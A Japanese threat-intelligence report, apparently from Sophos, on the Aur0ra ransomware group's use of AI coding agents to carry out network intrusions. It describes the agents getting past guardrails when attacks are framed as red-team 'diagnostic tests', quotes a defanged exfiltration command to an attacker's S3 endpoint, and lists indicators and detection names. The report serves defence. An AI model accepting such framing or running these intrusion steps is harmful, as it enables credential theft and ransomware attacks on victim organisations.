Aur0raランサムウェアのテストと実行にAIが悪用される

2026 年 5 月、Counter Threat Unit™ (CTU) の研究者は、AI によってオーケストレーションされたポストエクスプロイト (侵入後の活動) フレームワークに関するレポートを公開しました。このフレームワークは、ソフォスのエージェントを含む複数ベンダーの EDR (Endpoint Detection and Response) ソリューションの機能をテストするものでした。テストの終了後、ソフォスのアナリストは、同じインフラ上で Cobalt Strike がホストされ、Aur0ra ランサムウェア (Auroraランサムウェアとも呼ばれる) の攻撃に利用されていることを確認しました。ソフォスの分析により、Aur0ra ランサムウェアを運用するサイバー犯罪グループ GOLD OGRE が、攻撃の実行に AI を広範に利用していることが明らかになりました。ソフォスのアナリストが確認したツールや戦術、手法、手順 (TTP) は、同様の侵害事例における AI の利用について報告した第三者機関の情報とも一致しています。

ソフォスによる分析

Cursor AIの支援を受けて開発されたこの攻撃フレームワークを調査する中で、ソフォスのアナリストは、Aur0ra ランサムウェアの活動についての知見を得ることができました。分析の結果、侵入に Cobalt Strike を常用していること、窃取したデータの保管に S3 互換ストレージを使用していること、さらにエージェント型 AI を利用して認証情報へのアクセスから特権アカウントへの権限昇格を行っていることを確認しました。ソフォスは、影響を受けた可能性のある顧客に直ちに通知するとともに、その他の影響を受けた組織にも通知が行われるよう、法執行機関と連携しました。

調査データからは、複数の異なるオペレーターの存在が明らかになりましたが、いずれも同じ攻撃パターンに従っていました。この攻撃パターンでは、共通のコマンドアンドコントロール (C2) インフラとツールキットを使用して、Active Directory (AD) の列挙やラテラルムーブメントを実行し、ネットワーク共有を中心にデータを収集していました。例えば、複数の攻撃において、あるオペレーターは、権限昇格、プロセスインジェクション、認証情報やトークンの悪用、SharpShares を使用した大規模な AD および共有リソースの列挙を実行していました。収集したデータをまとめた後、S3 バケットへのデータの保管や持ち出しに向けたものとみられるファイル転送を行っていました。

VeeamTransport --endpoint-url hxxp://152[.]236[.]4[.]14:54410 ... cp ... s3://devhost/<redacted>/...

データ内で発見された痕跡から、オペレーターはロシア語話者であることが示唆されます。オペレーターのログで確認されたロシア語のコマンド「зы」と「ды」は、キーボードの入力言語がキリル文字に設定されたまま英語のコマンドを入力した結果、それぞれ「ps」 (プロセスの列挙) と「ls」 (ディレクトリの列挙) に相当する文字列になったものです。

8 月下旬、ソフォスのアナリストは、Aur0ra ランサムウェアの攻撃活動および EDR 回避テストに関連する Cursor の痕跡を回収しました。このサイバー攻撃者は、データ収集とランサムウェアの展開に備え、Cursor を利用して認証情報へのアクセスからドメイン管理者権限へと昇格させていました。侵入活動を正規のレッドチーム演習、または「診断テスト」と位置付けることで、AI ガードレールを回避していました。侵入活動のオーケストレーションには、Cursor のエージェント型コーディングモデルである Composer のほか、Anthropic、xAI、Moonshot が提供する AI モデルも使用されていました。分析によると、攻撃者は当初、ほぼ Anthropic のモデルのみを使用していましたが、その後、ほかのモデルも導入するようになりました。この変化は、攻撃者の目的がツールの構築から実際の侵入活動へと移行したことに関連している可能性があります。

図 1 に、典型的なワークフローを示します。人間のオペレーターは、VPN の認証情報、SOCKS 経由のアクセス、攻撃対象、および攻撃目的をエージェントに提供していました。その後、エージェントは、人間の関与を最小限に抑えながら、ネットワークや AD の調査、認証情報を利用した攻撃経路の分析、コマンドの実行、ラテラルムーブメントを行いました。複数の環境において、エージェントはネットワーク共有、ユーザーのドキュメント、バックアップリポジトリ、クラウド接続ストレージを検索するとともに、パスワードスプレー攻撃、Kerberoasting 攻撃、NTLM の強制認証とリレー攻撃、ファイルやバックアップからの認証情報の抽出を実行していました。一部の環境では、エージェントがドメイン管理者権限を取得することに成功しました。これらの被害を受けた 3 つの組織は、その後、Aur0ra のデータリークサイトに掲載されました。

図 1：AI によってオーケストレーションされた侵入ワークフロー

表 1 に、調査中にソフォスのアナリストが確認したプロンプトの一部について、原文と英訳を示します。

表 1：AI によってオーケストレーションされた侵入で使用されたプロンプトの例

第三者機関による報告

2026 年 8 月下旬、Gambit Security と CloudSEK は、Aur0ra ランサムウェアの活動に関するレポートを公開しました。両社の分析は、172[.]86[.]113[.]245 にある、外部からアクセス可能な同一の公開ディレクトリへのアクセスに基づいていたと考えられます。このディレクトリには、Windows 版と Linux 版 (ESXi 互換) の Aur0ra ランサムウェアの実行ファイル、シェルの実行履歴、Cursor のチャットログなど、攻撃者が使用したツールキットが含まれていました。研究者は、ロシア語話者のオペレーターが、一連の攻撃において Cursor によるオーケストレーションに大きく依存していたことを報告しています。Gambit Securityは、半自動化された攻撃において、Claude 4.5-Sonnet エージェントが展開されていたことを明確に報告しています。

攻撃者は、事前に取得した認証情報をエージェントに提供したうえで、さまざまな攻撃を実行するよう指示していました。エージェントには、それぞれの目的に最も適したツールや手法を自ら選択する裁量が与えられていました。最初の試行が失敗した場合、エージェントはコマンドを改良し、スクリプトを修正して、別のアプローチを試みました。最終的に成功したタスクもあれば、試行内容や調査結果をオペレーター向けに要約して終了したタスクもありました。Gambit の報告によると、エージェントは、VPN クライアントをインストールして設定し、提供された認証情報を使用して被害者のネットワークに接続する、 Nmap や NetExec を使用して内部サブネットをスキャンしホストを探索する、BloodHound Collector を使用してドメインを列挙する、PetitPotam、Coerce Plus、PrinterBug を利用して NTLM リレー攻撃を試みる、 Impacket モジュールを使用して、強制認証によって発生した認証要求を中継する、Certipy を使用して証明書攻撃を実行するなどの手法やツールを使用していました。第三者機関のレポートで説明されているツールや手法には、ソフォスのアナリストが AI によってオーケストレーションされた回避テスト用フレームワークで確認したものと重複するものがありました (図 2 参照)。一方、インフラの共通点はかなり限定的でした。SOCKS 関連の IP アドレスのうち、AI によってオーケストレーションされたテスト用フレームワークでも確認され、Gambit Security のレポートで言及されていたのは、45[.]59[.]113[.]63 の 1 つだけでした。

図 2：AI によってオーケストレーションされたテスト用フレームワークで確認されたツールや手法と、Aur0ra ランサムウェアの攻撃に関する第三者機関の報告で言及されたツールや手法の比較

CTU™ の研究者は、GOLD OGRE が Cursor を利用したエンドポイントテスト用フレームワークで、さまざまなツールや手法の検知回避能力を AI を使ってテストし、その後、Aur0ra ランサムウェアの攻撃で使用できるよう、同様の技術を関連する攻撃者に提供したと、高い確信を持って評価しています。ほかのランサムウェアグループやそのアフィリエイトも、Cursor のような AI エージェントを自らの攻撃活動に組み込む可能性が非常に高いと考えられます。

ソフォスの提言

AI は、攻撃チェーンの各段階を加速させるとともに、攻撃を実行するために必要な技術的スキルの水準を引き下げる可能性があります。インターネットに公開されているデバイスへのパッチ適用、フィッシング耐性のある多要素認証 (MFA) の導入、EDR アラートの監視といった既存の対策は、引き続き有効です。ただし、攻撃を効果的に防御するには、迅速な対応が欠かせません。また、組織は、攻撃者が環境内で活動範囲を広げることを防ぐ対策も優先する必要があります。具体的には、重要なサーバーのネットワーク分離、バックアップの隔離、ドメイン管理者権限の見直し、特権アクセス管理 (PAM) の導入、アプリケーション制御の実装などが挙げられます。

対策と指標

表 2 に、この脅威に関連する活動を検知するために SophosLabs が開発した Taegis™ の対策ルールの一部を示します。

表 2：この脅威に対する Taegis の対策

以下のソフォスの対策も、この脅威に関連しています。

• ATK/ExtC2-A
• ATK_BLOODHOUND
• AMSI/BloodH-A
• ATK/Kroast-A
• ATK/Kroast-B
• AMSI/Kroast-A
• HPmal/Meter-A
• HPmal/Meter-B
• Troj/MeterMem-A
• Troj/MeterMem-B
• Troj/CobalMem-A
• Troj/CobalMem-B
• Troj/CobalMem-C
• ATK/SecDump-A
• ATK/Impacket-A
• ATK/Impacket-B
• ATK/Impacket-C
• ATK/Impacket-D
• ATK/Impacket-E
• ATK/Fshares-A
• Linux/Ransm-CR
• Troj/Ransom-HKT

表 3 に示す脅威の指標は、この脅威に関連するアクティビティを検知するために使用できます。なお、IP アドレスは再割り当てされる可能性がありますので、注意してください。また、これらの IP アドレスには悪意のあるコンテンツが含まれている可能性があるため、ブラウザで開く際はリスクを十分に考慮してください。

表 3：この脅威の指標